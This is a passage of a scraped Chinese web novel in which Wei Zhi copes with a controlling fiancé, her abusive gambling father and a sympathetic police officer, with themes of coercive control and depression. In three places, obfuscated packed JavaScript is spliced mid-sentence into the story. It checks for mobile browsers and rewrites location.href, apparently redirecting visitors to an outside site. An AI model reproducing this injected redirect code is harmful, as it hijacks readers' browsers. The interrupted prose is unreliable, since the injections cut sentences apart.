九月初的太阳,依旧残留着盛夏时的气焰嚣张。 刺目的白光蒙在魏芷那张苍白的面孔上,好像连皮肤下的毛细血管都清晰可见。她的眼眶依然红肿,仿佛仍未从失去亲人的悲痛中走出来。 张开阳的眼前不禁浮现出八年前季琪琨在派出所接受问询时的模样。 他也是同样悲痛。 “你既然知道,为什么还……”张开阳欲言又止。 以他的立场,很多话都不能说。就像哪怕魏芷没有求他为负债的事情保密,他也不会将这件事告诉季琪琨一样。 他们警方,有义务和责任维护案情以外的个人隐私。 “当然是因为我爱他了。”魏芷哑然失笑,好像他问了一个显而易见的问题,“张警官,你会和一个你不爱的人结婚吗?” 她朝他礼貌地点了点头,转身走出了大门。 黑色添越在不远处等她。 她开门上车,坐在副驾。两边的车窗都是开着的,右后视镜里映着派出所大门的景象。季琪琨正在回覆工作上的消息。 魏芷绑安全带的时候,他放下手机,启动了汽车。 “你爸爸在蓝天小区闹事的事情,你知道吗?”他说。 “……我听说过。” “让他低调一点,我听说他还给几个媒体打了电话。”季琪琨蹙眉说,“如果这事上了报,大伯会很生气。” 魏芷能理解他的顾虑,季钟永是本市知名企业家,被世人所知的姻亲中不能有无赖。 “送我去蓝天小区。” 还是和之前一样,季琪琨停车在小区外等待,魏芷一人进了蓝天小区。 受魏来坠井一事的影响,蓝天小区新装了门禁,住户需要刷卡进入,外来人士则需要严格的登记。 “你来做什么?”保安斜着眼问她,手里拿着一本登记册。 “找我爸。”魏芷说,“他在里面闹事,我是来劝他的。” 保安闻言立即收起登记册,分秒不歇地带魏芷往小区里走去。 刚走进小区,魏芷就看见魏杉冲破好几个物业工作人员的拦截,朝着大门处冲来。 保安连忙扔下魏芷,在魏杉冲到门禁处前拦住了他。 “干什么!” 魏杉从保安的双臂间努力探出头来,扯着嗓子朝铁门外大喊了起来: “没天理了啊!我儿子被黑心物业害死了,白发人送黑发人啊!友爱物业你们还我儿子啊!我不活了,我也去死好了,大家都记住了,这友爱物业是个吃人不吐骨头的黑心公司——” 保安和物业所有人都是面色大变。 “魏先生,请你冷静下来……” “魏先生,有话我们去物业办公室坐下来说……” 现场嘈杂不堪。 “爸。”魏芷走到他面前,“我有话跟你说。” “什么话?”魏杉早就看见了魏芷,但直到此刻,才用正眼瞥了眼她。 “你们先让开一下,我有话和他说。”魏芷对物业和保安说道。 他们面面相觑,片刻后,在一名领导模样的人带领下,走到了不远处的地方等候。 “你不用在这里撒泼,现在是法治社会,你要赔偿金,可以请律师。”魏芷对魏杉说,“琪琨说了,可以介绍一个专打这方面官司的律师给你,由律师出面和物业进行协商。律师费不用你出。你在这里大吵大闹,一旦惊动媒体,会影响季家在社会上的声誉。” 在魏杉鼓起眼睛反驳之前,魏芷继续说道: “你可以不考虑我,但你要考虑赔偿金没有拿到,或者赔偿金花光之后的事情。” “你能够一个人活下去吗?” 魏杉的气焰渐渐弱了下去,他被那一百万冲昏了头脑,但兜里只有几百块的事实也不能完全忘记。 魏芷从包里拿出几张百元大钞,塞到魏杉手里。 “去吃顿饭填饱肚子,律师会联系你。” 魏芷三言两语安抚了魏杉,这才重新回到车上。 “事情办好了吗?”季琪琨问。 “已经说好了。” 季琪琨应了一声,准备驱车回家。他的手机在这时响了起来,他用蓝牙接了起来,魏芷只能听见他说话的声音。 “喂?我现在正准备开车回家。” “我知道了。” “好,大伯。” 挂断电话后,他对魏芷说:“大伯让我们回去一趟。” 魏芷心中有不好的预感。 “……大伯是不是对我有意见了?” “不会的,他已经同意我们的事情了。”季琪琨安慰道。 “那也是在短短一个月内,魏家先后死了两人之前。”魏芷在心里想。 她担心这件事会影响季钟永对她和季琪琨婚事的看法,而她没有把握说服季琪琨在家产和她之间选择她。 怀着沉重的忧虑,剩下的车程魏芷一直望着窗外。 车内只有空调出风口的细微风声。 半小时后,魏芷和季琪琨走进了季家的大门。 来开门的是习蔓菁,她面色如常,但家中的气氛却异样凝重,就连从前随处可见的佣人,都不见了踪影。 两人换鞋进门,在客厅里见到了早已入座等候的季钟永。 “坐吧。”他朝两人点了点头,神色严肃。 习蔓菁端来茶水,在几人面前各放了一杯。 等习蔓菁也落座后,季钟永终于开口。 “这一年,小魏家发生了很多事,如果只是一件还好,现在已经是两件了,而且都关系到人命。年轻人现在不看八字了,管这叫封建迷信,但事情发展到现在这样,就算不看八字,也能看出你们二人犯冲。”他看向季琪琨和魏芷,“你们怎么想的,还打算结婚吗?” 魏芷最担心的事情发生了。 就在她下意识开口之前,季琪琨的声音先响了起来: “大伯,你都说是封建迷信了,那还有什么好说的?”他笑道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小魏对腾腾很好。”习蔓菁拿起咖啡杯,轻轻抿了一口,漫不经心地说,“你自己想清楚吧。” 放下咖啡杯后,也不待季钟永回答,习蔓菁已经起身离开了客厅,朝二楼楼梯走去。 季琪琨趁热打铁,再次说道:“大伯——” “行了行了,你们自己想清楚就行。”季钟永紧皱眉头,挥了挥手,“别以后后悔了再来怪我没提醒你们。” 事情结束得比魏芷想象中更快,季钟永不再提让两人分开的事,只是单独把季琪琨叫去了书房。 魏芷此时再跟过去就太明显了,她也想知道习蔓菁为她说话的原因,于是去了二楼的看护房。 踏上二楼,空气里就开始出现消毒水的气味,雪白的看护房内,中央空调轻柔地运转着,持续地输出冷气。几台医疗仪器整齐地排列在房间的一侧,银白色的金属外壳在灯光下泛着冷光。心电监护仪的屏幕显示着稳定的波形,偶尔发出轻微的“嘟嘟”声。 习蔓菁正在床边帮助季腾翻身,魏芷连忙上前接过了她手里的活。 因为常年的瘫痪,季腾身上的肌肉几乎都萎缩了,他虽然是个成年男性,但体重却只有四十公斤。一个母亲,十年如一日地看着自己的儿子在沉睡中逐渐变形,魏芷无法想象那种感受。 把季腾重新翻了个身后,习蔓菁在床边坐下,魏芷也找了一张椅子坐了下来。 “伯母,谢谢您刚刚为我说话……”魏芷主动开启话题。 习蔓菁的目光专注地凝视着病床上的儿子,过了半晌才回答道: “我只是不放心把腾腾交给其他人。” 魏芷投桃报李,表示自己会努力照顾好季腾。 “……你还是照顾好自己吧。” 习蔓菁的冷笑让魏芷愣住。 “你知道我儿子是怎么出事的吗?”她抬起头来,直视着惊讶的魏芷。 “我听说……大哥是从三楼失足摔下来的。” “有的失足是真的,有的失足是假的。除了受害者和凶手,谁能说得清?”习蔓菁淡淡道,“季琪琨很幸运,他是现场唯一的目击者,而我的腾腾,又自此昏迷不醒。” “伯母的意思是,怀疑……” “不是怀疑,”习蔓菁冷笑着打断了她,“是确信。” 魏芷一时没有说话。 “所以,我让你照顾好自己。”习蔓菁站起身,在魏芷耳边低声说道,“别成为下一个躺在这里的人。” 27.第 27 章 两人回到季琪琨家的时候,带着初秋寒意的月亮已经升至宽广的落地窗外。 因为耽搁了做晚饭的时间,魏芷从冰箱冷冻室里拿了两块牛排出来,用微波炉快速解冻。 季琪琨解开衬衫上的第三颗纽扣,姿态放松地陷在客厅的长沙发里。 “大伯说,让我们直接去领证,过两年再补办婚礼。你觉得怎么样?” “可以啊。” “对我来说,只要能和你结婚,有没有那个仪式都是一样的。”季琪琨眯着眼,唇边带着淡笑,定定地注视着背对他站在中岛厨房前的魏芷,“你呢?” 电子屏幕上的倒计时缓缓减少,深红色的牛排在旋转的转盘上移动。橙黄色的灯光下充斥着狭窄的空间,覆在血肉上的冰霜肉眼可见地消失。 魏芷最后看了一眼逐渐露出鲜红本貌的肉块,转身看向季琪琨。 “我当然也一样。”魏芷微笑着说。 季琪琨从沙发上起身,走到中岛,从身后轻轻环住魏芷。 “你知道我有多爱你吗?” 季琪琨低柔的声音在魏芷耳畔响起,他温热的呼吸,像蒲公英的种子落在她敏感的耳蜗上,激起生理上本能的瑟缩。 他收紧了双臂,让这空出来的缝隙无处可逃。 “无论发生什么事,我都不会放弃你。就算你今天被毁了容,我也会毫不犹豫地和你结婚。你知道为什么吗?因为我爱你,比世上任何人都爱你。”他低声说,“你是我的一切。你呢?” “我也很爱你——” “比起我对你的爱,还不够。”季琪琨说,“有时候,我会觉得不公平。我那么爱你,为你付出我所能付出的一切,而你却不够完全信任我,没有将整颗心都向我敞开。” “我已经将整颗心都交给你了。”魏芷说。 “你敢证明这一点吗?” “怎么证明?” 季琪琨松开魏芷,露出思索的表情。 “你的手机呢?”他忽然笑了。 魏芷没有犹豫地将手机交给他。 自从季琪琨删过两次通讯簿后,她的手机上已经没有其他人的痕迹。即便有过,她也确信自己删除得很干净。 季琪琨却没有查看她的通讯簿,而是直接点出最近通话,向着第一个陌生来电拨了出去。 片刻后,电话被接通了。 “……喂?大山关派出所。”一个年轻男性的声音从手机里传了出来。 季琪琨把手机面向魏芷,微笑着示意她开口说话。 “你好……我是前几天来过的魏芷。”魏芷终于开口。 “啊,有什么事吗?” “我想问问,我弟弟的事情有消息了吗?” “暂时还没有。如果我们找到人了,会马上通知你们的。” “……好。” “还有其他事情吗?” 魏芷看了眼季琪琨的眼色,说: “没有了,谢谢。” 挂断电话后,她本以为就此结束,季琪琨却拨出了第二个通话记录。 第二个、第三个、第四个…… 季琪琨打完了三天以内的所有通话记录,无非是交接工作的画廊财务办公室的电话,或者是派出所的电话。 这些都不属于季琪琨禁止的私人往来。 他没有找到会使他发怒的东西,但他并未露出高兴的神情,相反,季琪琨用审视的目光看着魏芷,漆黑眼眸中的光泽,宛如蛇皮上冰冷的反光。 “我答应你的,都做到了。”魏芷说。 魏芷曾想过,是否完全按照季琪琨所言去做,他就会真的心满意足,成为一个平常的恋人。 显然不能。 就算她真的用他的方式,“证明”了她的爱,他的心依旧如深不见底的深渊,吞噬着一切可以汲取力量的生命。 “你好像原本就不在乎和其他人的关系。”季琪琨说。 他眼中的迷惑解除了,转为魏芷熟悉的高高在上的洞彻。他把手机递还给魏芷,显然已经对它失去了兴趣。 “我只是觉得,和你比起来,其他人原本就不重要。”魏芷不慌不忙地露出微笑。 季琪琨看了她许久,目光在她的眼睛和嘴唇上流连。她甚至能感受到他目光中不寻常的温度。 “我也是,宝贝。” 他低下头,在她嘴唇上轻轻吻了吻。 “其他人都不重要。” …… 夜深人静,魏芷躺在床上,侧身面对阳台的方向。她听着身边传来的平稳呼吸声,目不转睛地盯着眼前的黑暗。 自从辞了外卖兼职后,她被新的问题困扰。 她整夜整夜的睡不着觉。 她不停地回想一天当中发生的事情,甚至是早已尘封在记忆中的过去,去寻找当时没有抓住的一线契机。 大多数时候是王琳半跪着上吊的那一幕,她好不容易抹掉那残酷的画面,其他令她感到痛苦的记忆又会取而代之。 魏芷凝望着黑暗,此刻她正在回忆的是今天晚上发生的事情。她仿佛又回到了那一刻,她的灵魂从身体中抽离出来,漂浮在半空,没有感情地审视着如提线木偶般,被迫给最近通话记录上的每个人打电话的自己。 直到此时此刻,她才撤掉了身体和情感中的阻绝,咀嚼着属于那一刻的羞愧感。 不知什么时候,她浑浑噩噩地睡着了,梦里回到了破碎的过去。 那似乎是她第一次从身体抽离灵魂的时候。 “啊,原来一切痛苦都是从身体来的,我的心灵本身没有感情。”她离开身体的灵魂,冷静地看着被打得蜷缩在墙角的小女孩,漠然地想。 这听起来像是魔法,但却是实实在在发生在她身上的事情。 直到许多年后,她才在精神科知道了“魔法”的正式命名。 “人格解体是你产生抑郁症的风险因素之一。” 惨白的墙壁,同情的医生,震耳欲聋的蝉鸣,窗外过于翠绿的树叶,还有紧紧握着她的手的朋友。十六岁的记忆已经模糊不清,好像那些年她都是在梦中度过,只剩下一些零星的记忆。 唯有那个夏天,她始终不曾忘记。 “你会感到自己与周围环境或自己的身体产生了一种不真实的分离感,仿佛自己只是一个旁观者。但那只是一种错觉。”女大夫轻声说道,“你越是逃离现实,就越无法战胜现实。” 十六岁的魏芷第一反应是哑然失笑,而女大夫眼中的疑惑加重了她对现实的不真实感。 “错觉?”她喃喃自语。 将她从伤害和暴力中拯救出来的不是那些有责任保护她的人,而是错觉。 生病的到底是她,还是让错觉成为救赎的这个社会? “你有想过自杀吗?”女大夫问。 魏芷没说话,于是女大夫又换了种说法。 “你有自残的行为吗?” 魏芷没有回答。 “小芷,你有自残的行为吗?”女大夫再次问道。 她醒了过来。 身边空无一人,天已经亮了。 魏芷吃完早饭后,给季琪琨打了个电话。获得外出开安眠药的权利后,她才驱车前往精神卫生中心。 季琪琨拿给她开的是一辆奔驰S,长期停在地库里没有使用,魏芷去开的时候,前引擎盖上落着薄薄的一层灰。 她没有买过车,但幸好考过驾照,当年学的知识也没有忘光。握到方向盘后,很快就熟悉了开车的感觉。 当年确诊她重度抑郁的那个女大夫,早已升迁至省医,魏芷在那之后没有固定的心理医生,她来精神科的目的只有一个,开药,开各种各样的药。 开药的男大夫似乎是看了她的就诊病历,温和地询问她最近心情怎么样。 “还不错。”她笑道。 魏芷拿到了安眠药的处方签,走出诊室前往药房。在拿药的窗口,她见到了正坐在蓝色塑料椅子上等待叫号的张开阳。 两人都没预料会在这里遇见对方,但相比之下,魏芷的吃惊会更少一些。 魏芷走到已经站了起来的张开阳面前,礼貌地笑了笑。 “好巧。”她故意开了个轻松的玩笑,“我们果然在其他地方再见了,虽然这个地方比派出所好不了多少。” “……你怎么会来这里?”张开阳神色凝重。 “睡不着,来开安眠药。” 魏芷大大方方地把自己的处方签给他看,他也真的认真读了上面的字。 “我的给你看了,你的是不是也要给我看看?”魏芷半真半假地说。 张开阳迟疑了。 魏芷没有继续追问,她在他先前的位置旁边坐了下来。过了一会,张开阳也坐了下来。 大屏幕上显示着可以取药的人名,魏芷和张开阳都不在其列。 强有力的制冷系统让整个卫生中心都如处冰窖,或许是周日的关系,无数张蓝色塑料椅上都坐着人,一张张或年轻或苍老的面庞和精神中心外的行人没有任何区别。一个打扫卫生的中年女人拖着湿淋淋的拖把路过,沿路滴下一滴滴水渍。 魏芷的目光正随着那一滴滴坠落的水珠而动,张开阳忽然开口了。 “抑郁症。” 他是在回应魏芷先前的处方签问题。 魏芷心里早有猜测,但还是免不了惊讶地看他一眼。 “很奇怪?” “不奇怪。”魏芷条件反射地说。 这是虚伪的安慰,从两人不约而同的沉默来看,不止魏芷知道这一点。 “还是我太脆弱了。”张开阳自嘲道。 “我不觉得。” 魏芷脱口而出的话语出乎了张开阳的预料,她从他惊愕的眼神中察觉到这一点。 “长久以来,人们都觉得军人和警察是无坚不摧的。”魏芷顿了顿,继续说道,“集体精神或许如此,但组成其中的个体和普通人一样,他们也有七情六欲,他们也会像普通人一样生病,因为他们原本也是普通人。” 人们总是对精神类疾病患者说,‘你要坚强一些’、‘你要多想想开心的事’。这就像是在对一个下身瘫痪的患者说,‘你怎么不起来走走’。 他们本身并无恶意,但这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773194|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些无意的话,却会像鞭子一样挥舞在患者的头顶。 魏芷从未告诉过家里人自己生病的事情,因为她猜得到他们会说什么。 “什么抑郁症?就是你太脆弱了!现在的年轻人,动不动就抑郁抑郁,都是西方人骗人的东西!我们那时候怎么没这东西!” “哟——玉玉症,时尚单品。姐,我怎么没想到这一点呢?” 只有王琳会为她悲伤吧。 但她不愿她伤心。 她拼尽全力从沼泽中探出头,艰难地往岸边一寸寸地挪行,所有的窒息和疲惫都是为了能和母亲有一个美好的未来。 但那已经成为海上的泡沫,消失不见了。 即便她最终得到了她想要的,但她所设想的那种完美的未来,已经缺失了一块。那是爱所带给她的伤痕,永远也不会消失。 “……没想到反过来被你安慰了。”张开阳苦笑道,“不过,多少还是有些我自己的问题,我自己没能调整好心态。” 他沉默片刻,又问道: “你的失眠,和季琪琨有关吗?” “母亲走后开始的。” 张开阳心情复杂,不知道是该为她的痛苦不来自季琪琨而松了口气,还是为吸取她精神能量的人不止季琪琨而悲伤。 他明明应该隔绝工作中的情感联系,但他做不到,也不愿意去做。哪怕见过再多,他也无法对他人的苦难习以为常。 所以他才会在这里。 大屏幕上叫出了张开阳的名字,他这才忽然回神。 “再见。”魏芷笑道。 张开阳看了一眼魏芷,从塑料椅上起身:“有危险给我打电话……无论是精神上的,还是身体上的。” 他意有所指地说完,转身去了窗口拿药。 魏芷看着他消失在人群之中。 他是个好人,但魏芷永远不会向他求助。 即便是发现包袋里出现二十三个GPS定位器的时候,她也没想过要求助警察。 因为她自己也是惧怕光亮的老鼠,无法行走在太阳之下。 …… 一个月后。 “手气真他妈臭!再来,再来!” 又输了一局,魏杉暴躁地推倒面前的麻将,还想重新洗牌,桌上四人却只有他在动作。 “怎么不打了?继续啊!”他喊道。 胡姐抱着双臂,不屑地朝他翻了个白眼:“你上次欠的钱还没付清呢,这又输了两百,你有钱还吗?” “我怎么没钱还了,我女婿手指缝里随便漏点,都够你这娘们吃香喝辣一整年!” 胡姐嗤笑一声:“哟,这么厉害,那你先把欠我们的牌钱还了。” 另外两人也跟着帮腔: “是啊,就几百块钱,魏哥肯定不缺。” “谁缺钱了?我那是把钱都放银行里存定期了,你们等着,我让我女儿给我转点。” 在低声窃笑中,魏杉拿着手机愤然走出麻将馆,拨出魏芷的电话。 “嘟……嘟……” 电话打通了,但始终无人接听。 魏杉又给季琪琨的号码打电话,永远的暂时无法接通。 他借来麻将馆老板的手机,再次给二人打电话,就像是知道电话那头是他一样,两人的号码虽然打通了,但一直无人接听。 他仍在坚持给两人打电话,牌友们却不耐烦地陆续走出了麻将馆。 “哎,你们别走啊!”魏杉急忙去拦,“这才几点钟,再打几把啊!” “打什么打,下回没钱别叫我了。”胡姐没好气地拍开魏杉的手,拉着另一个牌友快步走了。 “下回吧,下回。等魏哥钱包方便的时候再叫我们。”剩下一名男性牌友也说。 牌局就这么散了。 魏杉输了钱,还收获一堆嘲讽的目光。 魏芷和季琪琨的无情,让他恨不得现在立刻冲到他们面前发作一通,但他却连季琪琨家在哪里都一无所知。 他不肯就这样放弃,他不好过,绝不让别人好过。 一个小时后,魏芷被床头的手机震动声吵醒,她本以为是魏杉的电话,刚想挂断,却发现那是大山关派出所的来电。 “……喂?” 她不得不接了电话,打开了床头的台灯。 “是……好……好……我知道了,我现在就过来。” 挂断电话,魏芷回头去看季琪琨,他已经睁开眼,正神色不明地望着她。 “我要去派出所一趟……”魏芷说,“我爸找不到我们,正在派出所里闹事。” “小芷,这样下去不是办法。”他坐了起来,冷静地说道,“难道你要让你父亲一直来破坏我们的感情吗?” “我会和他说清楚。” “光说清楚还不够。”季琪琨说,“你如果不狠心,他还会再来纠缠你。” 魏芷明白他的意思了。 当季琪琨需要她做出某些决定的时候,通常不会直接命令,而是会向她提问,要她“自愿”做出决断,而不承担任何决断后的后果。 “我会和他断绝关系。”她说。 28.第 28 章 魏芷赶到灯火通明的大山关派出所,还没推开玻璃门,就听见魏杉中气十足的声音: “我这个女儿啊,以前挺孝顺的,自从交了男朋友,那是一日叛逆过一日!怪不得老人说嫁出去的女儿泼出去的水,我这女儿还没嫁出去呢,就已经不认自己的亲爹了!” 魏芷大步推门而入,魏杉和站在他身旁的两名警员一齐朝她看来。 魏杉露出轻蔑的嘲笑,好像在扳手腕比赛中获得胜利的赢家。 “不好意思,我爸爸给你们添麻烦了。”魏芷勉强露出微笑。 “……没什么。”张开阳低声说,眼中闪过一丝同情,“你们自己聊聊,还是需要我们在场?” “我带我爸爸去吃点东西。”她说。 “好。”张开阳点了点头,“有事情打电话,今晚我值班。” “去哪儿啊,我没胃口吃东西。有什么话不能在这里说的?”魏杉故意拿乔,大声说道。 “你女儿都来接你了,有什么话你们父女好好说吧。你刚刚不是还说亲人没有隔夜仇吗!”小陈忍不住说道。 “我怕会被她气死啊!我以前身体健健康康,就是这些年被她气狠了,才会越来越不舒服!”魏杉揉着胸口说。 “身体不舒服怎么不去医院看看?”张开阳问。 “不去不去!医院那地方,就算没病,去了乱做一通检查,什么病都有了!我才不去!”魏杉断然道,“只要做子女的孝顺,父母能有什么病?” 这些年,每次王琳劝他去医院检查胸痛的毛病,他都是这番说辞。 “爸,别打扰警官办案了,我们出去说吧。我请你吃宵夜,我也饿了。”魏芷好言好语地说道。 魏杉这才冷哼一声,一副勉为其难的样子,从塑料长凳上站了起来。 他背着手,翻着眼皮,吊儿郎当地对魏芷说:“儿女都是父母的冤债啊,去哪儿吃啊?” 魏芷把他带出派出所,在附近一家还在亮灯的宵夜面店坐了下来。 蒙着厚厚油垢的灯牌,淌着积水的肮脏地面,若有若无的潲水臭气,以及坐在她对面,大快朵颐的魏杉。 卤鸡腿被他发黄的牙齿狠狠撕扯,每一口都少掉一大块肉,凹陷的太阳穴随着他的用力咀嚼,像廉价汽车的灯光闪烁不停。他唏哩呼噜地喝着面汤,就好像喝得是魏芷血管里流淌的热血,他吃得满头大汗,魏芷身上却越来越冷。 “我和你说过,闹事会影响季家对我的看法。” “关我什么事?”魏杉咽下一大口鸡腿肉,毫不在意地说,“我找我自己的亲女儿找不着,我就只能让警察帮我找了。” “……物业答应给你赔偿了?” 魏芷目不转睛地盯着他,毫不意外地看到魏杉噎了一下。 果然。 如果不是有十足的把握能拿到赔偿,魏杉不可能做出今晚这样的事。 “你越过律师,自己和物业达成了协议?”魏芷再次逼问。 “本来就是我自己的事,我难道还做不了这个主?!”魏杉外强中干地说道。 “物业赔你多少钱?” “你想干什么?”提到还没进兜里的钱,魏杉立即警觉起来,“我告诉你,那是我儿子的命钱,和你没有一分钱关系。” “你觉得我看得上那点钱?”魏芷冷笑。 “那点?你知不知道,他们赔我七十万!你少在我面前打肿脸充胖子,谁不知道你花的是别人的钱,你自己卡上指不定只有万把块钱。等我拿到钱,我还用得着看你这个不孝女的脸色过日子?” 魏芷花了很大的力气才压制住自己的怒火。 一方面是因为魏杉的无耻,一方面是因为他的切中要害。 辞职之后,季琪琨每个月给她的零花钱和家用,除去生活开销和网贷还款,剩不下几个钱。她现在所拥有的,都是空中楼阁。 所以她才必须和季琪琨结婚。 “你今晚找我有什么事?”她问。 “哼,现在想起来了?!”魏杉不满道,“你有了男人,就一点不管你亲爹的死活!你妈走了以后,杂货铺根本没有生意,你不主动给我生活费,让我去喝西北风吗?” “……你要多少。” “先给个两万吧。我打牌输了点钱,你先借我,等我拿到物业的赔偿金,我就还你。”魏杉轻描淡写地说道,好像两万在他口中,只是一句话的事情。 “物业什么时候赔你?” “我们说好了,下周一他们现场过来签协议。” 魏来消失在城市的排水系统中,说是下葬,跟骨灰盒一起葬下去的也不过是他生前用过的一些物品罢了。 为了省钱,魏杉甚至没有购买墓地,而只买了一个八百块的骨灰盒,美其名曰要放在家中,随时思念。 “我先给你一万。”魏芷在他瞪眼之前说道,“不要你还。足够你过到下周一。” 魏杉不情不愿地答应了。 “你吃饱没?要不要再点些别的?”魏芷问。 魏杉很不习惯魏芷的体贴,狐疑地看了她一眼:“算了吧,够了。” “喝酒吗?”魏芷说,“我们父女两喝一杯?” 魏杉露出了意动的表情,魏芷看出他的动摇,直接让老板上了一瓶啤酒。 她拿起生锈的开瓶器,利落地翘掉瓶盖,主动为魏杉倒了一杯。 淡黄色的酒液在小小的玻璃杯里摇晃,一半是泡沫,一半是酒。两者互相侵袭,互相吞噬。最后留在杯子里的,只有一开始表现弱势的酒液。 “你现在讨好我有什么用?晚了!”魏杉端起酒杯一饮而尽,带着一缕嘲讽说道,“我早说过,你会后悔的——风水轮流转,总有一天轮到我魏杉扬眉吐气!” 魏芷端起酒瓶,又给他倒了一杯。 “我没想讨好你,只是你说得对。血脉亲情,是割舍不断的。就算我能在手机上拉黑你,但你依然是我户口本上的父亲,只要你想,你有许多种办法找到我。” 魏杉得意地拿起酒杯,喝了一大口。 “所以我不会再这样做了。”魏芷又拿起酒瓶给他满上,“以后你想找我,给我打电话就行。” “这才像样——”魏杉说,“季琪琨始终是外人,你跟我才是打断腿连着筋的亲人,以后你在季家受了欺负,还不是要靠我来给你撑腰,你把我得罪了能有什么好处?” “你说得对。”魏芷脸上带着笑,“等你拿到赔偿金,打算干点什么?” 先前的温情消失不见,警惕重新出现在魏杉脸上。 “你想干什么?” “你年纪也不小了,别天天打小麻将浪费时间了,去做个小生意,有个稳定的收入,也不至于坐吃山空。” “你别教我做事,老子吃的饭比你吃的盐多,你年纪轻轻懂什么?”魏杉不耐烦道。 魏芷端起自己面前的酒杯,抿了第一口。 “你如果一定要打麻将,还不如打把大的。说不定你这七十万,一把就能翻上一倍。” “去澳门?”魏杉眯起眼道,“我早就想好了,等我的工程动工,我就把欠的钱一次性还清,然后坐头等舱去澳门玩几把。” “除了澳门,又不是没有其他地方可以玩大的。”魏芷说,“我以前认识一个人,他打牌特别厉害。小牌局他不上,专上那种私人的赌场打,每天都能赢几千块钱,最多的一晚,把五万翻成了五十万——” “可别是吹牛吧!”魏杉半信半疑道。 “我不知道。”魏芷耸了耸肩,“但我看见他开奔驰,穿的也是名牌。不过,也不是没可能是租的。毕竟我不是他。” 魏芷拿起酒杯,一口气喝完了里面的淡黄色液体。 “只可惜我打牌太烂了,不然我也真想试试。” “你说的地下赌场,在哪儿啊?”魏杉忍不住问道。 “我又没去过,我怎么知道?”魏芷说,“像这种东西,经常打牌的人里面应该有知道的吧?” 魏杉若有所思,拿起酒杯慢慢饮着,心思却已经离开了小面摊。 “我要先回去了,明天琪琨上班需要用车。”魏芷起身,叫来面摊老板结账,又对魏杉说,“下回有事直接打我电话,不要再麻烦别人。” 她付完宵夜钱,又给魏杉的微信上转了一万块钱。 “我走了。” 魏杉心不在焉地应了一声,看样子精神已经飞到了别的地方。 魏芷没有立即返回季家,而是去了大山关派出所。她找到张开阳,再次向他表达了歉意。 “我爸爸今后应该不会再来找你们了。这次真的很抱歉,给你们添了麻烦……” “应该的。”张开阳说,“你们已经和好了吗?” “和好算不上,我给了他一万块钱,答应以后接他的电话。”魏芷苦笑道,“他说物业那边已经答应给他赔偿金,等他拿到赔偿金,应该就有一段时间顾不上管我了。” 张开阳深知这种家庭纠纷他们外人无法调节,也无法一劳永逸地解决问题,但他还是控制不住那颗想要为遇到困难的人做点什么的心。 “我以前遇到过一个案子。”他说,“一个六岁的小女孩,被后妈打得全身上下没有一块好肉,就连头皮和大腿内侧都有外伤。拳打脚踢只是她日常生活中的毛毛雨,她后妈心情不好的时候,还会拿开水烫、衣架打她。她亲生父亲为了讨好年轻妻子,重则一起加害,轻则置之不理,是邻居报案,伤痕累累的小女孩才被送到医院。” “但也太晚了。”张开阳说,“我在手术室外,亲耳听到医院宣判小女孩的死亡。” 魏芷沉默着倾听。 “那对夫妇,最后因虐待致死罪被判了四年有期徒刑。”张开阳顿了好一会,才苦笑道。 “这不是我见过最惨的案子,但死者的确是我见过最无辜的。直到现在,我时常都会梦到那个被送往医院时已经辨认不出原本五官的小女孩。” 换位思考,如果站在张开阳位置上的是魏芷,她也不知道自己能否承受得住这样的打击。这样一遍又一遍地目睹不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783763|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人性极恶。 “既然这样,你为什么继续留在这个工作岗位?”魏芷问,“就算不另外换个工作,调个岗位应该是可以的吧?” “……医生也建议我这么做。”张开阳说,“但我总觉得,离开这里,就像是背叛了那些需要我帮助的人。” “和他们相比,我个人的这一点微不足道的迷惘,又算得了什么呢?” 张开阳对魏芷笑了笑,那笑容里充满苦涩。 “你是个好警察。”魏芷说。 “我不是。”张开阳摇了摇头,然后对魏芷说,“魏杉在派出所闹事,我们有义务要通知家属。但来不来,是你的权利。你明白吗?” “……我明白了。” 张开阳脸上露出欣慰的表情。 “我能拜托你一件事吗?”魏芷说,“我想知道梅满那件事的来龙去脉。” “你为什么想知道?” “这不是你希望的吗?”魏芷笑道,“知道过去发生了什么,才能看清自己的枕边人是个什么样的人。” 张开阳沉默了片刻,说:“这里不是谈话的地方,跟我来。” 他带着魏芷来到一间空置的办公室,让她坐下后,从柜子里拿出一次性纸杯,为她泡了杯茶。 “你想知道什么?” 魏芷想知道的很多,但她最想知道的,毫无疑问是为什么警方也认为梅满坠楼一事有蹊跷,却还是以自杀结束调查。 “……因为他并没有真正意义上的动手杀人,无法构成故意伤害罪。”张开阳说。 “哪怕梅满因他而死?” 张开阳敏锐地察觉到她保留的事实。 “你好像并不奇怪他能让梅满自愿跳楼,他是不是也对你做了什么?” “你先回答我的问题。” “……如果一定要个准确的答案,那么——是。”张开阳说,“以目前的法律来说,精神虐待很难界定。唯一与精神虐待相关的罪行是虐待罪,但仅限于家庭关系。季琪琨和梅满当时是男女朋友关系,不适用于虐待罪。” “过失致人死亡罪呢?” 